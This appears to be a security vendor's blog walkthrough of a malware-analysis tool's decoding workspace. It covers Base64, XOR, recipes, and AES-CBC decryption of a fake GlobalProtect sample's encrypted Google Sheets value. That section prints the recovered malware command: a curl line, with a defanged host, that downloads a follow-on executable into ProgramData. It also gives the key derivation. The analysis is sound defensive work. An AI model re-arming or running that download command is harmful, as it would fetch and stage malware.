Technical Analysis

Inside MalwareINFO Pro Crypto Lab: Decoding Strings and Recovering Malware Configuration

A practical Crypto Lab walkthrough: identify encoded text, decode Base64 and XOR, recover a real GlobalProtect command with AES, and replay layered decoding with recipes.

Inside MalwareINFO Pro Crypto Lab: decoding=

Malware analysis often reaches a point where the useful information is present but unreadable. A string may be Base64-encoded, a configuration may be hidden behind XOR, or a command may be encrypted with AES. Recovering that information means reconstructing the sequence that turns the stored bytes into something we can inspect.

MalwareINFO Pro's Crypto Lab brings those operations into one workspace. It accepts text or local file bytes, supports decoding and byte transforms, decrypts data with supplied keys and parameters, and combines supported operations into reusable recipes. Crypto Lab is available in the Free, Professional, and Enterprise editions.

For this walkthrough, we worked through simple decoding examples before returning to encrypted command material from our fake GlobalProtect investigation. The eight screenshots show the operations and their results in the application.

Finding your way around Crypto Lab

The workspace groups its tools into eight tabs: Identify, Encode / Decode, XOR / Transform, Symmetric Crypto, RSA / Keys, Hash / Checksum, Bytes / Chunks, and Recipes. The input sits on the left; diagnostics and the output preview sit on the right.

Start with Input format. UTF-8 admits ordinary text, including a Base64 string that will be decoded by a selected operation. Hex interprets hexadecimal text as bytes. File input supports an explicit byte offset and length, allowing us to work on a configuration region rather than the entire file.

The output viewer offers Hex, Escaped bytes, and ASCII text. Hex is useful for checking exact bytes; ASCII text makes readable results easier to follow. Use output as input transfers the full operation output into the next layer. Copy copies the displayed representation, while Save exports the full output bytes to a local file.

Crypto Lab processes the supplied data locally. Recovered commands remain text for inspection; the workspace does not execute them or upload input and keys.

Fig. 1. Crypto Lab overview, with tool tabs, input controls, diagnostics, output preview, and workflow buttons.
Fig. 1. Crypto Lab overview, with tool tabs, input controls, diagnostics, output preview, and workflow buttons.

Identify the representation first

We began with a short string:

SGVsbG8=

With Input format set to UTF-8, we selected Identify and pressed Run. The result reported two format candidates: Base64 and Base64URL. Both passed the representation checks because this particular string uses characters valid in both alphabets.

The diagnostics show eight input bytes and zero output bytes. That is expected: Identify examines the representation and reports candidates. It leaves decoding to the operation we choose next.

This is useful when inspecting unfamiliar material. The result narrows the next step without claiming to identify an encryption algorithm from appearance or entropy alone.

Fig. 2. Identify reports Base64 and Base64URL candidates for SGVsbG8=; diagnostics explain why there are no decoded output bytes.
Fig. 2. Identify reports Base64 and Base64URL candidates for SGVsbG8=; diagnostics explain why there are no decoded output bytes.

Decode the Base64 string

Keeping the input as UTF-8, we switched to Encode / Decode, chose Base64Decode, and selected Require padding. The custom alphabet field remained empty.

Running the operation produced five bytes:

Hello

The same result in Hex is:

48 65 6C 6C 6F

The input format and operation have separate jobs here. UTF-8 admits the eight characters SGVsbG8= as text; Base64Decode converts those characters into the underlying five bytes. Selecting Base64 as the input representation would already decode the input, so UTF-8 is the appropriate choice for this explicit Base64Decode example.

Fig. 3. Base64Decode converts eight input bytes into the five-byte plaintext Hello.
Fig. 3. Base64Decode converts eight input bytes into the five-byte plaintext Hello.

Recover a string hidden with XOR

XOR is inexpensive to implement and can hide readable strings from a basic search. When the key is known, applying the same XOR operation recovers the original bytes.

Our demonstration input was:

1928232A2E357A163B387A3E3F3735

The single-byte key was hexadecimal 5A. We selected Hex input, then Apply byte transform and Xor under XOR / Transform. To supply the key, we set Key input format to Hex, Key destination to Current tool, entered 5A, and pressed Import key.

Crypto Lab assigned the imported key a session slot ID. With Key offset set to zero, the operation returned:

Crypto Lab demo

The screenshot records 15 input bytes and 15 output bytes. XOR preserves the length; it changes the value of each byte.

The Byte operand field is not where the XOR key belongs. XOR uses the imported key slot. Crypto Lab also offers Find single-byte candidates when the key is unknown; candidate previews help narrow the search before the analyst selects and applies a key.

Fig. 4. Known-key XOR decoding=
Fig. 4. Known-key XOR decoding recovers Crypto Lab demo using an imported key slot and a zero key offset.

Recover a real GlobalProtect command

Our fake GlobalProtect investigation recovered encrypted command material from Sheet1!C13. The value was stored as hexadecimal text, but converting it from Hex was only the first step.

Reverse engineering established the layout and parameters:

ComponentValue
Stored representationHexadecimal text
Decoded blob112 bytes
CBC initialization vectorFirst 16 bytes
CiphertextRemaining 96 bytes
Key derivationSHA-256 of UTF-8 AmountOfFreeDiskSpace
DecryptionAES-256-CBC
PaddingPKCS#7

Those details let us reproduce the sample's decoder in Crypto Lab.

Calculate and import the AES key

We selected UTF-8 input and entered the following constant without a trailing newline:

AmountOfFreeDiskSpace

Under Hash / Checksum, we chose Sha256. The SHA-256 digest is:

5C8AADCC00C85A223E922D576BB028E48F6DBBCC96EBDA69D50A67335C50FA84

There is an important representation detail in this build: the hash operation returns the digest as 64 ASCII hexadecimal characters. The screenshot therefore shows 21 input bytes and 64 output bytes. With the preview set to Hex, the first displayed bytes are 35 43 38 41, which encode the characters 5C8A.

For AES-256, we need the 32 digest bytes represented by that text. There are two ways to obtain them:

  1. Copy the digest from the ASCII text view, switch to Symmetric Crypto, set Key input format to Hex and Key destination to Current tool, then paste the digest into the key field and press Import key.
  2. Press Use output as input, choose HexDecode under Encode / Decode, and run it. This produces 32 bytes; Use output as AES key can then bind those decoded bytes to a session key slot.

Use either route before decrypting. The 64-byte ASCII hash output itself is not an AES-256 key. This step derives the key from a known program constant; it does not reverse a hash or recover a password.

Fig. 5. SHA-256 of AmountOfFreeDiskSpace produces a 64-byte hexadecimal text digest; its Hex preview shows the bytes of that text.
Fig. 5. SHA-256 of AmountOfFreeDiskSpace produces a 64-byte hexadecimal text digest; its Hex preview shows the bytes of that text.

Separate the IV and decrypt the ciphertext

The complete recovered C13 value is:

D852F3D2F7F54A27DB6A7B70C4B0B537D0A53002C2A7E8711799BBFE9B5714B2F6342B9DCB23E712A9F80F129E992985FCAD4AD74B6E9746B84C910ECD00815B41317A4DD9A9BF51A420A34CACD59143E2A009F99B439D7EB30B435EF4476A9F1333470F30966D4243E18E7F55946EAE

Its first 16 bytes supply the IV:

D852F3D2F7F54A27DB6A7B70C4B0B537

We entered the remaining 96 bytes as Hex input:

D0A53002C2A7E8711799BBFE9B5714B2F6342B9DCB23E712A9F80F129E992985FCAD4AD74B6E9746B84C910ECD00815B41317A4DD9A9BF51A420A34CACD59143E2A009F99B439D7EB30B435EF4476A9F1333470F30966D4243E18E7F55946EAE

Under Symmetric Crypto, we selected AES decrypt, mode Cbc, and padding Pkcs7. We kept the imported AES key slot and entered the IV in CBC IV (16 bytes, hex).

The operation recovered a 90-byte command. Shown below with the delivery URL defanged:

curl hxxps://cctvcam[.]serveblog[.]net/weblogin/ngxpkg -o C:\programData\USOShared\NGXPckg.exe

The plaintext reveals the delivery address and intended destination of the follow-on executable. The screenshot retains the original command text, with its final portion extending beyond the visible preview width.

The operation completed with authentication marked NotVerified. CBC has no built-in authentication tag, so successful decryption and padding removal do not authenticate the message. In this case, the decoder reconstructed from GlobalProtect.exe and the runtime findings from the earlier investigation explain how the recovered command was used.

Fig. 6. AES-CBC with PKCS#7 padding recovers the 90-byte C13 download command from 96 ciphertext bytes.
Fig. 6. AES-CBC with PKCS#7 padding recovers the 90-byte C13 download command from 96 ciphertext bytes.

Replay layered decoding with a recipe

Layered data often requires the same sequence more than once. Recipes record supported operations so we can replay them in order.

For a two-step demonstration, we supplied this UTF-8 input:

NDM3Mjc5NzA3NDZGMjA0QzYxNjIyMDcyNjU2MzY5NzA2NTIwNjQ2NTZENkY=

We added Base64Decode as the first step and HexDecode as the second, using Add to recipe after selecting each operation. The first step produces hexadecimal text; the second turns that text into the final bytes.

Under Recipes, Run full recipe completed both steps and produced:

Crypto Lab recipe demo

The screenshot shows both steps as Completed, with 60 input bytes and 22 final output bytes. Run through step can inspect a selected prefix: stopping after step one exposes the hexadecimal text before HexDecode processes it. Each inspection replays from the original input.

Recipes can be saved and reopened. The saved document preserves the supported operation structure; required keys and sensitive parameters must be supplied again.

Fig. 7. A Base64Decode and HexDecode recipe completes both steps and returns Crypto Lab recipe demo.
Fig. 7. A Base64Decode and HexDecode recipe completes both steps and returns Crypto Lab recipe demo.

Inspect a decoded configuration

Recovered configurations often arrive as JSON or key-value text. Bytes / Chunks includes Inspect config, which presents their entries in a structured view.

We used this demonstration JSON:

{
  "sample": "Crypto Lab demo",
  "domain": "example.invalid",
  "port": 443,
  "enabled": true
}

With UTF-8 input, we selected Inspect config, Config view Json, and Config text encoding Utf8. The operation produced a JSON inspection document. The screenshot shows its opening fields, including schemaVersion and format, while the diagnostics identify the output as a configuration view.

Formatting and line endings affect the input byte count. The supplied screenshot records 98 input bytes and 1,288 output bytes; the output is the inspection document rather than a decrypted payload. Its reported offsets refer to decoded UTF-8, not original-file byte positions.

In a real investigation, this view helps us examine individual fields such as endpoints, timing values, identifiers, and feature settings. The values in this example are demonstration data, and inspecting the domain field does not contact the address.

Fig. 8. Inspect config produces a structured JSON inspection document from the demonstration configuration.
Fig. 8. Inspect config produces a structured JSON inspection document from the demonstration configuration.

Turn recovered bytes into research findings

Readable output gives an investigation concrete material to follow. A decoded string may expose a path. A decrypted configuration may reveal a repository or endpoint. A recovered command may explain a child process already seen in a runtime trace.

The GlobalProtect example shows that progression. The C13 value began as hexadecimal ciphertext. Reconstructing the key derivation, IV layout, AES mode, and padding exposed the command that requested NGXPckg.exe. Crypto Lab let us reproduce that transformation and inspect the result alongside the parameters that produced it.

For another sample, begin with the same questions: what bytes are we supplying, how should they be interpreted, and what does the executable do to them? Once that sequence is understood, a recipe can make repeated work faster and easier to review.

For the investigation behind the C13 example, read Fake GlobalProtect MSI Targets Myanmar Using Cloudflare and Google Sheets as C2.